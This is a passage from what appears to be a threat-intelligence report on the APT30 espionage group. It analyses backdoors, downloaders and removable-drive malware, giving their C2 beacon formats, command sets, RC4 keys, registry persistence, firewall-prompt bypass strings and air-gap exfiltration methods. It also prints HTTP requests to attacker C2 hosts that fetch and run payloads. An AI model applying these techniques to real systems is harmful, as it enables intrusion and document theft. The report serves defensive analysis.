Figure 25: Sample BACKSPACE callback message Table 10:  BACKSPACE ZRLnk callback structure Offset Value Description 0x00 0x30 fixed (1 byte message identifier 0x30  ascii 0)) 0x01 fd 00 00 00 data length  253 bytes (4 byte length) 0x05 - computer name (varying length), 0x00 0x14 192.168.43.130, 0x00 IP Address (varying length), 0x00 0x23 253 version information  (156 bytes) 0xBF 04 08 language ID (2 bytes) 0xC1 00 proxy on/off (1 byte) 0xC2 41 18 00 00 host_id (4 bytes) 0xC6 1.9.w.lY version string (varying length) 0xCE (Proxy-No), 0x00 proxy setting (varying length), 0x00 0xD9 0:7, 0x00 system uptime - H:M (varying length), 0x00 0xDD www.bigfixtools.com/ForZRLnk3z, 0x00 URL where the second C2 IP is obtained(varying length), 0x00 APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 43 BACKSPACE also attempts to retrieve the URL path /ForZRLnk3z/connect.gif from the primary C2 URL domain.
If the victim computers hostname and hostid are found in the file, the victim will attempt to establish a connection to the second stage C2 server on Port2 to allow the threat actors to directly interact with the victim via the BACKSPACE controller.35  After establishing the connection to the controller, BACKSPACE awaits further interactive commands from the operator.
For this copy of BACKSPACE, the following commands are supported: Table 11: Commands supported by BACKSPACE ZRLnk variant 6ee35da59f92f71e757d4d5b964ecf00 Command Meaning A Same as J or S, but the file is deleted from the victim computer after transmission.
B Receive a folder and list of filenames from the C2 server search the folder for the specified files (can use wildcards).
For each file found, upload the encoded WIN32_FIND_ DATA36 structure to the C2 server.
D Receive a folder path, a list of files, and a flag byte for each file from the C2 server.
Delete files for which the flag is 0x30 and remove empty folders.
E Receive a file path, access byte (0 for WRITE, else APPEND) and encoded data from the C2 server.
Open the file according to the access byte, decode the data, and write it to the file.
J Receive a file path and offset from the C2 server.
Read the file starting at the specified offset, encode the data, and send it to the C2 server.
R      Receive a command line string from the C2 server and create a new process using the command.
S Same as J. V Same as E, but the file is created in the folder CSIDL_TEMPLATES and executed.
X Restart the C2 cycle from the self-update process (perform update, obtain secondary C2 details, send host details, receive commands, etc.
).
Z Cancel command sends lecnaC to the C2 server.
After each command is processed, BACKSPACE sends a status message to the C2 server messages starting with O indicate success, messages starting with E indicate failure.
Configuration and C2 Encoding While earlier versions of BACKSPACE may contain the C2 domains and other variables in plain text within the binary, they are encoded within this (and other more recent) variants.
Decoding is done in two ways: by adding an incremental counter, or by XORing and bitwise shifting bytes.
APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 44 Figure 26: BACKSPACE string decryption by adding incremental counter Figure 27: BACKSPACE string decryption by XORing and bitwise shifting bytes In addition, binary (non-string) data transferred between the victim host and the second stage C2 server is encoded/decoded by adding an incremental counter and XORing with 0x23, as shown below.
APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 45 Figure 28: Binary data encryption by adding an incremental counter and XORing Figure 29: BACKSPACE HTTP POST showing custom encoding APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 46 Host-Based Firewall Bypass This variant of BACKSPACE includes functionality to attempt to bypass a number of personal firewall applications.
BACKSPACE iterates through open windows and matches the type (Button) and its associated Window Text against a set of strings stored within the malware.
If a match is found, BACKSPACE sends a message to simulate a mouse click, attempting to approve firewall rules to allow the malware to execute.
Both English and Chinese strings are stored, implying that the malware attempts to target versions of the products below that are localized for those languages.37 Table 12: Strings used in attempt to bypass host-based firewalls Security Product Meaning Avira Note action selected for this file (dangerous) () F-Secure I trust the program.
Let it continue.
Do not show this dialog for this program again  AVG Firewall Save my answer as a permanent rule, and do not ask me next time  Sophos Firewall Add the checksum to existing checksums for this application  Allow all hidden processes launched by  Panda Security Always allow the connection TPSVARadioBtn, TPSVAButton McAfee      McXpBtn2, McAlertButtonClass Others Trust Ignore Allow Allow (recommended)  () OK Remember this action Do not show this message again before rebooting Grant access Allow this change  APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 47 NETEAGLE BACKDOOR  SCOUT VARIANT The NETEAGLE backdoor appears to have been developed after BACKSPACE, with early NETEAGLE samples dating to 2008.
The Scout variant (named for the mutex Neteagle_Scout used by this version) was the earlier of the two.
While NETEAGLE shares some similarities with BACKSPACE, including retrieval of commands from specific URIs, automatic updating, and a two-stage command and control structure, NETEAGLE typically uses a single C2 domain (instead of up to four used by BACKSPACE) and supports a more limited set of URIs for command retrieval.
In addition, NETEAGLE supports an entirely different set of commands than BACKSPACE it is not compatible with the BACKSPACE controller and is presumed to have its own separate controller software.
Later variants of NETEAGLE (e.g., the Norton versions) also support a modular plugin framework that allows the backdoor to load and execute DLLs for additional functionality.
The NETEAGLE sample 3feef9a0206308ee299a05329095952a was compiled on 9 April 2009.
The malware creates the directory C:\Program Files\Messenger\ and copies itself to that directory as msmsgr.exe.
NETEAGLE also creates the following registry value for persistence: Value: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\msmsgr Data: C:\Program Files\Messenger\msmsgr.exe NETEAGLE first attempts to retrieve the file allupdate.xml using the following HTTP request: GET /yzstmfa/allupdate.xml HTTP/1.1 User-Agent: [filename of malware] Host: www.autoapec.com Cache-Control: no-cache The file is saved to DEFAULTUSERPROFILE\ieupdate.exe and executed.
NETEAGLE then downloads hxxp://www.autoapec[.
]com/yzstmfa/update.xml and decrypts the file with the RC4 key ScoutEagle.
In the decrypted result, the malware looks for the hostname of the system.
If the hostname is present, the malware downloads hxxp://www.autoapec[.
]com/yzstmfa/updateapp.
xml, saves it to DEFAULTUSERPROFILE\visit.exe and executes the file.
Once the initial update URLs are downloaded, the malware creates the mutex NetEagle_Scout and begins the process of obtaining the second-stage C2 IP address(es) and port.
NETEAGLE downloads the URL hxxp://www.autoapec[.
]com/yzstmfa/pic1.bmp and RC4 decrypts the first four bytes of the response using the key ScoutEagle.
The decrypted bytes are a callback IP.
If the victim computer is not configured to use a proxy, the malware sends a 363 byte UDP beacon to port 6000 on the decrypted IP.
If a proxy is enabled, the malware sends the same 363 byte beacon using the following HTTP POST request: 48 APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT Figure 30: NETEAGLE Scout sample beacon POST /index.htm HTTP/1.1 User-Agent: Mozilla/4.0 (compatible MSIE 5.0 Win32) Host: [Callback IP] Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache 00000000  a3 0b cf 8b f9 56 ed bc  be 0f 8b 6d b8 35 db 26 .....V.. ...m.5.
00000010  57 37 58 36 34 5f 41 4e  41 4c 59 53 49 53 00 c0 W7X64_AN ALYSIS.. 00000020  a8 38 6f 00 00 00 00 32  2e 31 38 00 69 6e 64 6f .8o....2 .18.indo 00000030  77 73 20 58 50 20 36 2e  31 20 42 75 69 6c 64 37 ws XP 6.
1 Build7 00000040  36 30 31 20 53 65 72 76  69 63 65 20 50 61 63 6b 601 Serv ice Pack 00000050  20 31 00 00 00 00 00 00  00 00 00 00 00 00 00 00  1...... ........ 00000060  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........ 00000070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........ 00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........ 00000090  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........ 000000A0  00 00 00 00 00 00 00 00  00 00 00 32 30 31 35 2d ........ ...2015- 000000B0  32 2d 32 20 31 37 3a 34  3a 33 32 00 00 00 00 00 2-2 17:4 :32..... 000000C0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........ 000000D0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........ 000000E0  00 00 00 00 00 00 00 00  00 00 00 52 45 00 00 00 ........ ...RE... 000000F0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........ 00000100  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........ 00000110  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........ 00000120  00 00 00 00 00 00 00 00  00 00 00 32 30 34 37 20 ........ ...2047 00000130  4d 42 00 00 00 00 00 00  00 00 00 00 00 00 00 00 MB...... ........ 00000140  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........ 00000150  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........ 00000160  00 00 00 00 00 00 00 00  00 00 00                ........ ...
The POST data consists of the following: Table 13: NETEAGLE beacon contents Data Meaning a30bcf8bf956edbcbe0f8b6db835db26 Nd5 hash of the callback URL (http://www.autoapec[.
]com/ yzstmfa/pic1.bmp) W7X64_ANALYSIS Hostname of victim computer c0 a8 38 6f IP address of victim computer 2.18 Malware version Winows XP 6.1 Build7601 Service Pack 1 OS Version (truncated W) 2015-2-2 17:4:32    Date / time from victim computer RE Active username from victim computer 2047 MB Amount of memory on victim computer APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 49 NETEAGLE then requests the URL hxxp://www.autoapec.com/yzstmfa/pic2.bmp.
The response is expected to be less than 0x17 bytes (additional data, if received, is ignored) and is decrypted using the RC4 key ScoutEagle.
The decrypted response consists of the following data: [Hostname (up to 15 bytes)]\x00[IP address in network byte order][Port] If the hostname of the victim computer is listed in the decrypted response, the malware initiates a TCP connection to the specified IP and port.
This session is not encrypted.
The C2 protocol consists of a 4 byte DWORD command ID.
If the command ID takes an argument, a 4 byte DWORD identifying the length of the argument is sent.
Table 14: NETEAGLE Scout commands Command Meaning Command Meaning 0x02 Sends  NetEagle_Scout[hostname]\x00 0x15 Get file attributes 0x03 List drives attached to the system (fixed, remote and CDROM) 0x16 Set file attributes 0x04 List directories 0x17 Get volume information 0x05 List directories with file details 0x18 Set the volume label 0x06 Rename a file or directory 0x19 Shell execute 0x07   Create file 0x20 Uninstall 0x08 Create directory 0x21 Search for file / directory 0x09 Delete file or directory 0x22 Sends NETEAGLE_SCOUT 0x10 Perform file operation 0x23 Get file information (size and last modified) 0x11 List directory contents 0x24 Establish a remote desktop session back to controller on TCP port 7519 0x12 Read file 0x25 Process listing 0x13 Write file 0x26 Read file 0x14 Get directory used space Finally, NETEAGLE downloads the URL hxxp://www.autoapec[.
]com/yzstmfa/pic4.bmp.
The response is decrypted with the same RC4 key (ScoutEagle).
The format of the decrypted response is: [MD5 of file to be downloaded][URL] NETEAGLE downloads the URL to temp\Services.exe and executes the file.
APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 50 NETEAGLE BACKDOOR  NORTON VARIANT The Norton variants of the NETEAGLE backdoor (named for the mutex Eagle-Norton360-OfficeScan used by the malware) appear to have been developed later than that Scout versions, with early samples compiled in 2013.
The NETEAGLE Norton sample 8a88f8803e8db8baee537a175960cdbe was compiled on 6 November 2013.
This version supports many of the same commands as the Scout version, but has several differences, including: The Norton variant does not include its own persistence mechanism.39 Use of a different mutex (Eagle-Norton360-OfficeScan).
The Norton variant does not support the various HTTP requests to download and execute files (e.g., allupdate.xml, update.xml, updateapp.xml, and pic4.bmp).
Although the Norton variant checks whether the victim host uses a proxy configuration, it always beacons using a proxy request.
40 Different encoding method for strings (Norton adds 2 instead of 4).
Support of different / additional commands (see below).
Support for loading DLLs for additional functionality.
The NETEAGLE Norton variant uses a similar process to identify its second-stage C2 server.
The malware requests the file pic1.bmp from its first-stage C2 server using the following HTTP request: Similar to the Scout variant, the response is decrypted using the RC4 key ScoutEagle to obtain the IP address of the beacon server.
The beacon format is the same as that used by the Scout variant.
The NETEAGLE Norton variant will request the URL hxxp://www.creammemory[.
]com/update1/pic2.
bmp and decrypt the response with the RC4 key ScoutEagle.
The expected response format is the same as that for the Scout variant: [Hostname (up to 15 bytes)]\x00[Redirect IP in network byte order][Port] Figure 31: NETEAGLE Norton HTTP request GET /update1/pic1.bmp HTTP/1.1 User-Agent: [filename of malware] Host: www.creammemory.com Cache-Control: no-cache APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 51 Table 15: NETEAGLE Norton commands that differ from Scout variant Command Meaning 0x20 Not implemented.
0x24 Load a DLL and call the DoWork export using DoWork([C2 IP] , 81, 4003, 4004).
The encoded string representing the DLL filename does not decode correctly (PCojbaii, possibly intended to be SFrame.dll).
0x26 Not implemented.
0x27 Load a DLL and call the DoWork export using DoWork([C2 IP] , 82, 4015, 4016).
The encoded string representing the DLL filename does not decode correctly (PJrifqaii, possibly intended to be SMulit.dll).
0x28 Load a DLL and call the DoWork export using DoWork([C2 IP] , 83, 4005, 4006).
The encoded string representing the DLL filename does not decode correctly (PQikqaii, possibly intended to be STlnt.dll).
0x29 Load a DLL and call the DoWork export using DoWork([C2 IP] , 84, 4009, 4010).
The encoded string representing the DLL filename does not decode correctly (PQikqaii, possibly intended to be SProc.dll).
The NETEAGLE Norton variant supports most of the same commands as the Scout variant, with the following exceptions: MALWARE TARGETING REMOVABLE DRIVES APT30 uses three pieces of malware that are believed to have been designed to propagate to removable drives with the intent of eventually infecting and stealing data from computers located on air-gapped networks.
SHIPSHAPE SHIPSHAPE samples have been identified with compile times as early as 2006 and as recently as 2014.
SHIPSHAPE initially targets removable and fixed drives with less than a specific amount of space available to the SHIPSHAPE process.
Earlier samples required less than 1,000,000,000 bytes  (1GB) the sample described in detail below requires less than 10,000,000,000 bytes (0x2540BE400) or approximately 10GB.41  The intent is likely to use the drive to spread malware to additional systems.
The sample f18be055fae2490221c926e2ad55ab11 was compiled on 23 August, 2012.
The malware replaces files and folders on targeted drives with executable files from specified paths on the SHIPSHAPE- infected system.
42  The specific files and folders replaced may vary based on the SHIPSHAPE sample.
43 Targeted files and folders are marked as hidden SHIPSHAPE copies the specified executable file or files to the removable drive using the same names as the targeted files and folders, but with an .exe extension (for example, if the drive contained the file MyDocument.doc, SHIPSHAPE would create a file with the name MyDocument.doc.exe.
A user attempting to access a document on the removable drive would potentially be tricked into running the executable instead.
It is believed that the executable will open the original document or folder when executed, to disguise the fact that malicious activity is occurring.
APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 52 When executed, SHIPSHAPE creates the mutex MicrosoftShipZJ.
The malware copies itself to HOMEPATH\My Documents\Visual Studio 2005\MSDEV\IDE\MSDEV.EXE.
For persistence, SHIPSHAPE creates a shortcut in the users Startup folder named Visual Studio.lnk using the comment Visual Studio 2005 and a target path of HOMEPATH\My Documents\Visual Studio 2005\MSDEV\IDE\MSDEV.
EXE (variable is expanded).
The malware creates the registry key HKEY_LOCAL_MACHINE\Software\Microsoft\ShipUp with the following value and data: Value: lnk Data: WjtvbmTuvejp/mol The data is the encoded name of the malwares shortcut file (in this case, Visual Studio.lnk) the hexadecimal value of each character in the original file name is incremented by one (so V (0x56) becomes W (0x57) , etc.
).
SHIPSHAPE disables AutoRun and hides both hidden files and file extensions by setting the following registry values: HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDriveTypeAutoRun  0x9f HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden  0x02 HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt  0x01 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\ CheckedValue  0x00 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt\ CheckedValue  0xffffffff SHIPSHAPE searches for fixed and removable drives (DRIVE_FIXED, DRIVE_REMOVABLE).
If a detected drive is less than 10,000,000,000 bytes (10GB) in size or was attached to the system after SHIPSHAPE performed its initial drive scan, SHIPSHAPE looks for the file ldupver.txt on the drive and parses the file for version information if the file is present.
If the version listed in the file is greater than the malwares current version (50 for this sample), SHIPSHAPE will look for the file AUTORUN.INF on the drive and execute the open variable from the file, likely in an attempt to self-update.
SHIPSHAPE will create (or update, if already present), the following AUTORUN.INF file on the drive: [AutoRun] openkeybd.exe shellexecutekeybd.exe shell\Auto\commandkeybd.exe shellAuto In addition, for drives that pass the size check (e.g., less than 10GB), SHIPSHAPE modifies folders and files on the drive with the .doc or .docx extension.
SHIPSHAPE sets the hidden attribute on the original folder or file and copies a new file to the drive using the same name with an .exe extension.
For folders, SHIPSHAPE copies the contents of the file KB925273-dir.log from the SHIPSHAPE-infected computer to the drive for files, SHIPSHAPE copies the contents of the file KB936891-doc.log.
The malware will skip over any paths on the drive beginning with XP-Update,  msdn, Recycled, or LDDATA.
44 APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 53 SHIPSHAPE may use the following files (where [Install Path] is the path where SHIPSHAPE is installed on the victim computer: Table 16: Files used by SHIPSHAPE malware File Action [Install Path]\KB914268-inf.log Copied to keybd.exe on the removable disk Copied to [Install Path]\vers.ini [Install Path]\KB925273-dir.log Replaces directories on removable disk [Install Path]\KB936891-doc.log Replaces .doc, .docx files on removable disk [Install Path]\ldjs.txt Activity log upnum.txt Present in malware strings, but not used by this version [Install Path]\KB952567-mouse.log List of paths to be created on the removable disk and the files to be copied [Install Path]\NameList.doc Copied to the root of the removable disk ldupver.txt Used to store a version number (50 for this variant) on a removable disk.
SPACESHIP Similar to SHIPSHAPE, SPACESHIP samples have been identified with compile times ranging from 2006 to 2014.
SPACESHIP searches for files with a specified set of file extensions and copies them to a removable drive.
FireEye believes that SHIPSHAPE is used to copy SPACESHIP to a removable drive, which could be used to infect another victim computer, including an air-gapped computer.
SPACESHIP is then used to steal documents from the air-gapped system, copying them to a removable drive inserted into the SPACESHIP-infected system.
The SPACESHIP sample 11876eaadeac34527c28f4ddfadd1e8d  was compiled on 23 August, 2012.
When executed, the malware creates two events named MicrosoftShipTrExit and MicrosoftShipTrHaveExit along with a mutex named MicrosoftShipTrZJ.
The malware copies itself to HOMEPATH\My Documents\Visual Studio 2005\MSDEV\FoxPro\VFP6.
EXE.
To maintain persistence, the malware creates a shortcut in the users Startup folder named VFP6.
lnk using the comment Visual FoxPro and the target path HOMEPATH\My Documents\Visual Studio 2005\MSDEV\FoxPro\VFP6.EXE (all HOMEPATH references are expanded).
As part of the installation process, SPACESHIP creates the registry key HKEY_LOCAL_MACHINE\Software\ Microsoft\ShipTr with the following value and data: Value: lnk Data: WGQ7/mol APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 54 Similar to other APT30 malware, the data is the name of SPACESHIPs shortcut file, with each character incremented by one.
SPACESHIP also creates the following directories: HOMEPATH\My Documents\Visual Studio 2005\MSDEV\FoxPro\Docs HOMEPATH\My Documents\Visual Studio 2005\MSDEV\FoxPro\Docs\ldf SPACESHIP first scans for files matching the pattern ldmap.
in HOMEPATH\Documents\Visual Studio 2005\MSDEV\FoxPro\Docs\ldf.
If a file is not found or is too old, the malware deletes the files ldmap.txt and Info.txt45  from HOMEPATH\My Documents\Visual Studio 2005\MSDEV\FoxPro\ Docs\.
The malware then recursively scans each directory and logs all files contained in each folder (file size and last modified) in a new Info.txt file.
SPACESHIP will look for configuration data stored in the file HOMEPATH\My Documents\Visual Studio 2005\MSDEV\FoxPro\ld.ini.
The malware extracts the following keys from the sections: [DirMap] GetIt[Integer] [Piece] Size[Integer] [UpData] DirAndType[String] [UpDataTime] Day[Integer] SPACESHIP will scan the folders My Documents (CSIDL_PERSONAL), Desktop (CSIDL_DESKTOP), and My Recent Documents (CSIDL_RECENT the malware parses the .lnk file target paths for specified file types) and will search for files with the following extensions: Table 17: SPACESHIP targeted file extensions File Extension Document Type .doc Microsoft Word document .docx Microsoft Word document .max MAX source code file (?)
.pdf Adobe Acrobat Portable Document Format .pgp Pretty Good Privacy .rhs unknown .rtf Rich Text Format .tif Tagged Image Format graphics file .wpd Word Perfect Document APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 55 SPACESHIP can also target files based on the last modified date using the UpDataTime/Day in the ld.ini configuration file.
Identified files are copied to the HOMEPATH\Visual Studio 2005\MSDEV\FoxPro\Docs\ldf directory and saved with an .ldf extension.
The .ldf files are first compressed using zlib then each byte is rotated 4 positions and XOR-encoded with 0x23.
SPACESHIP monitors for removable drives to be inserted into the system.
When a drive is attached, SPACESHIP checks for the presence of specific files on the removable drive.
If the file [Drive Letter]:\msdn\d.ini is found, SPACESHIP copies it to HOMEPATH\Documents\ Visual Studio 2005\MSDEV\FoxProld.ini.46 If the file [Drive Letter]:\msdn\KB947652-ver.log is present, SPACESHIP copies it to HOMEPATH\ Documents\Visual Studio 2005\MSDEV\FoxPro\KB947652-ver.log.
SPACESHIP reads the contents of the file and compares it with its current version (the string 5.0 for this variant).
If the strings do not match, SPACESHIP copies [Drive Letter]:\XP-Update\KB863113-ld.log to HOMEPATH\ Documents\Visual Studio 2005\MSDEV\FoxPro\ld.exe and executes the file.
SPACESHIP copies files in the HOMEPATH\Documents\Visual Studio 2005\MSDEV\FoxPro\Docs\ldf directory to the removable drive in the folder [Drive Letter]:\Recycled.
A desktop.ini file is created that configures the directory to be opened using Recycler instead of Windows Explorer this prevents a user from seeing the copied files using Windows Explorer.
FLASHFLOOD FLASHFLOOD appears to be an older piece of malware, or possibly one less frequently found in the wild identified samples were compiled as early as 2005, but are less common (or nonexistent?)
after 2009.
FLASHFLOOD has some similarities to SPACESHIP, in that it will search for and archive files that match a configurable pattern it even uses the same encoding process on archived files.
One difference is that FLASHFLOOD will scan inserted removable drives for targeted files, and copy those files from the removable drive to the FLASHFLOOD-infected system.
This may simply be yet another means to identify any interesting files for data theft, including those that happen to reside on a removable drive inserted into the victim computer.
Alternately, FLASHFLOOD may have been designed to copy files that had been placed on a removable drive (perhaps by SPACESHIP), possibly copied from an interesting location such as an air-gapped network.
This theory is bolstered by the fact that one of the default file extensions searched for by FLASHFLOOD is .ldf, the extension used by SPACESHIP for copied and encoded files.
FLASHFLOOD may also log or copy additional data from the victim computer, such as system information or contacts.
The FLASHFLOOD sample 5d4f2871fd1818527ebd65b0ff930a77 was compiled on 17 February, 2009.
When executed, the malware creates a mutex named MicrosoftFlashZJ and also creates two events named MicrosoftFlashExit and MicrosoftFlashHaveExit.
If the following registry key is not present, the malware creates it and continues the installation process: Key: HKLM\Software\Microsoft\GetInf Value: pid APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 56 Data: [Encoded filename of implant] The filename is encoded by incrementing the hex value of each ASCII character by one.
FLASHFLOOD copies itself to the file C:a, then copies that file to SystemDrive\Program Files\ Outlook Express\msinm.exe.
The malware changes to the target directory, executes msinm.exe and exits.
To maintain persistence, FLASHFLOOD creates the following registry value: Key: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Value: msinm.exe Data: [Path to install] FLASHFLOOD attempts to read the file WINDIR\FILETYPE.INI for a list of file patterns of interest.
If the file does not exist the malware uses the following default file extensions: Table 18: Default file extensions searched for by FLASHFLOOD File Extension Document Type .doc Microsoft Word document .docx Microsoft Word document .ldf File extension used by SPACESHIP for copied and encoded files .max Autodesk 3ds Max CAD file .pdf Adobe Acrobat Portable Document Format .pgp Pretty Good Privacy .rhs unknown .rtf Rich Text Format .tif Tagged Image Format graphics file .wpd Word Perfect Document FLASHFLOOD creates the following directories, used to store malware log data and copied files of interest: WINDIR\NtUninstallKB885884\ WINDIR\NtUninstallKB885884\FlashFiles WINDIR\NtUninstallKB885884\LastFiles WINDIR\NtUninstallKB885884\RecentFiles APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 57 During initialization, FLASHFLOOD queries the registry value HKLM\SYSTEM\ CurrentControlSet\Services\SENS\Parameters\ServiceDll and logs the result to WINDIR\NtUninstallKB885884\Info.txt.47 The file Info.txt is a general log file used by FLASHFLOOD to store information collected from the system.
FLASHFLOOD also logs information stored in the Windows Address Book using the IAddrBook interface.48  Information logged includes User, Nick, E-mail and Type.
FLASHFLOOD parses the shortcut (.lnk) files from the users My Recent Documents folder and archives the target files to WINDIR\NtUninstallKB885884\RecentFiles.
The malware uses the same format for archiving files as SPACESHIP the original files are copied and an .ldf extension is added.
The files are then zlib compressed and each byte is rotated 4 positions and XOR-encoded with 0x23.
FLASHFLOOD creates the file WINDIR\FILETIME.DAT and writes the current system time to the file in FILETIME format.
49 The file is likely used to ensure the malware collects only recent files.
FLASHFLOOD scans connected drives and the directories Desktop, Temporary Internet Files and TEMP for files that match the patterns of interest (obtained from FILETYPE.INI or the default set of file extensions).
Matching files are archived to WINDIR\NtUninstallKB885884\LastFiles.
For drives attached to the system after FLASHFLOOD initially executes, the malware scans for files matching the patterns of interest.
The malwares behavior differs slightly depending on the size of the detected drive.
For drives with a capacity less than 2,500,000,000 bytes (approximately 2.5 GB),50 FLASHFLOOD scans the entire drive and will archive any files of interest found on the drive to WINDIR\NtUninstallKB885884\FlashFiles, using the archive method (compress, rotate bytes, XOR) described above.
For any files found in the LDDATA or RECYCLED directories, FLASHFLOOD will copy the file directly 51 (no archiving is performed) and delete the original file from the detected drive.
For drives with a capacity greater than 2,500,000,000 bytes, FLASHFLOOD will only scan the directories LDDATA and RECYCLED (if present).
Any files found in these directories are copied to WINDIR\NtUninstallKB885884\FlashFiles and the original files are deleted.
In both cases, details of the scan are logged to WINDIR\NtUninstallKB885884\OtherInfo.txt.
MISCELLANEOUS TOOLS In addition to the malware listed above, APT30 has used a variety of droppers, downloaders, and other utilities.
In some cases, instead of directly installing a backdoor via a malicious document, APT30 will install a stage one downloader that attempts to retrieve a second stage backdoor (often NETEAGLE) from a specified location.
MILKMAID / ORANGEADE Droppers and CREAMSICLE Downloader MILKMAID and ORANGEADE are two dropper families typically installed via a malicious attachment, such as a malicious Word document.
Both droppers have been observed to drop variants of the CREAMSICLE downloader.
MILKMAID drops a variant of CREAMSICLE implemented as a stand-alone executable, where the slightly older ORANGEADE drops a variant of CREAMSICLE implemented as a DLL.
52 APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 58 Each dropper extracts its version of CREAMSICLE and creates a shortcut (.lnk) file that references the file to be downloaded by CREAMSICLE that is, the dropper sets up persistence for the second stage downloaded file.
India deploys worlds largest military transport plane.doc (md5 hash 7d775a39ecd517cee4369c672e0e4da7) is an example of an exploit document  one built with a common document weaponizer that appears to be shared across multiple threat groups  that drops MILKMAID and the EXE variant of CREAMSICLE.
The document creates the file firefox.exe (MILKMAID) and a non- malicious decoy document (Wor.doc) in the users TEMP directory, executes firefox.exe, and displays the non-malicious document.
MILKMAID extracts a compressed PE (readme.lz) from its resource section, decompresses it, and writes it to APPDATA\Norton360\Engine\5.1.0.29 as wssfmgr.exe (CREAMSICLE).
MILKMAID creates the shortcut file Symantec LiveUpdate.lnk in the users Startup folder (USERPROFILE\Start Menu\Programs\Startup) with the target path APPDATA\Norton360\ Engine\5.1.0.29\ccSvcHst.exe (APPDATA is expanded).
Finally, MILKMAID launches CREAMSICLE (wssfmgr.exe).
CREAMSICLE attempts to download an encoded executable from a specified location using the following HTTP request: Figure 32: CREAMSICLE download request GET /stactivex/update1.htm HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: www.creammemory.com Cache-Control: no-cache The downloaded file is decoded, written to disk as APPDATA\Norton360\Engine\5.1.0.29\ccSvcHst.
exe, and padded with 51,200,000 null bytes.
CREAMSICLE does not appear to execute the downloaded file, presumably relying on Windows to do so (using the shortcut file in the users Startup folder) the next time the user logs in.
BACKBEND and GEMCUTTER Downloaders BACKBEND and GEMCUTTER are older downloaders that have been previously used by APT30.
BACKBEND BACKBEND is a secondary downloader used as a backup mechanism in the case the primary backdoor is removed.
The BACKBEND sample af504e86416c5f643e96f6e5e69566f0 was compiled on 16 August 2007.
When executed, BACKBEND checks for the presence of the mutexes MicrosoftZj or MicrosoftZjBak (both associated with BACKSPACE variants).
If either of the mutexes exist, the malware exits.
APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 59 If BACKBEND is not running from the C:\Program Files\Internet Explore folder as iexplore.exe, it creates the folder and copies itself as iexplore.exe to that location.
Next, if the current execution path of the malware process is not CSIDL_STARTUP\Update.exe, 53  it copies itself to that location to achieve persistence.
Finally, BACKBEND starts the C:\Program Files\ Internet Explore\iexplore.exe process by providing the current path of the malware as the first command line parameter.
If the malware process executable file path is C:\Program Files\Internet Explore\iexplore.exe, BACKSPACE deletes the file given by the first command line parameter passed in.
Then, the malware downloads a file from hxxp://www.cbkjdxf[.
]com/04-1/04-1.htm and saves it under Windows directory as netsvc.exe.
54  BACKSPACE starts a new process using the full path of the downloaded file (windir\netsvc.exe) and deletes CSIDL_STARTUP\Update.exe.
GEMCUTTER GEMCUTTER is used in a similar capacity as BACKBEND, but maintains persistence by creating a Windows registry run key.
The GEMCUTTER sample bf8616bbed6d804a3dea09b230c2ab0c was compiled on 15 February, 2009.
The malware starts by creating MicrosoftGMMExit and MicrosoftGMMHaveExit as non-signaled events.
GEMCUTTER then queries for the registry value HKEY_LOCAL_MACHINE\Software\Microsoft\GetMM\ pid.
If the value does not exist, the malware sets the registry value to the encoded malware process filename (each filename character incremented by one).
GEMCUTTER checks for the presence of the mutex MicrosoftGMMZJ to ensure only one copy of GEMCUTTER is executing.
If the mutex doesnt exist, the malware creates it and continues execution otherwise, the malware signals the MicrosoftGMMExit event.
The malware performs cleanup by deleting the registry value with the same name as the malware filename under the HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run registry key and the file with the same name as the malware itself in the sysdir directory.
If GEMCUTTER is not running from sysdir as CTFM0N.xxx (the file extension is excluded in the check), the malware copies itself to that location.
The malware then starts a new process by providing sysdir\ CTFM0N.exe as the executable file path, and the current process exits.
If GEMCUTTER is running from sysdir as CTFM0N.xxx, the malware creates a new registry value under HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run, with the value and data set to CTFM0N.EXE.
